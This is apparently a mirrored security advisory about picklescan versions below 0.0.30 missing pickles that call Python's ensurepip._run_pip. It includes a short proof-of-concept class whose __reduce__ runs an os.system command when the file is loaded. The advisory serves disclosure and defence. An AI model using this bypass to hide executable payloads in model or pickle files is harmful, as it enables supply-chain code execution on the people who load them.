Picklescan is missing detection when calling built-in python ensurepip._run_pip

Description

Summary

Using ensurepip._run_pip function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to ensurepip._run_pip function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

from ensurepip import _run_pip

class EvilEnsurepipRunpip:
    def __reduce__(self):
        payload = "[(__import__('os').system('whoami'),)]"
        return _run_pip, (payload,)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2025-08-26 21:34:37 UTC
Updated
2026-06-22 22:19:02 UTC
GitHub reviewed
2025-08-26 21:34:37 UTC

EPSS Score

Score Percentile
0.37% 28.43%

CVSS Scores

No CVSS scores in this advisory.

Identifiers

Credits

  • FredericDT (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip picklescan < 0.0.30 0.0.30

References

cvelogic Threat Intelligence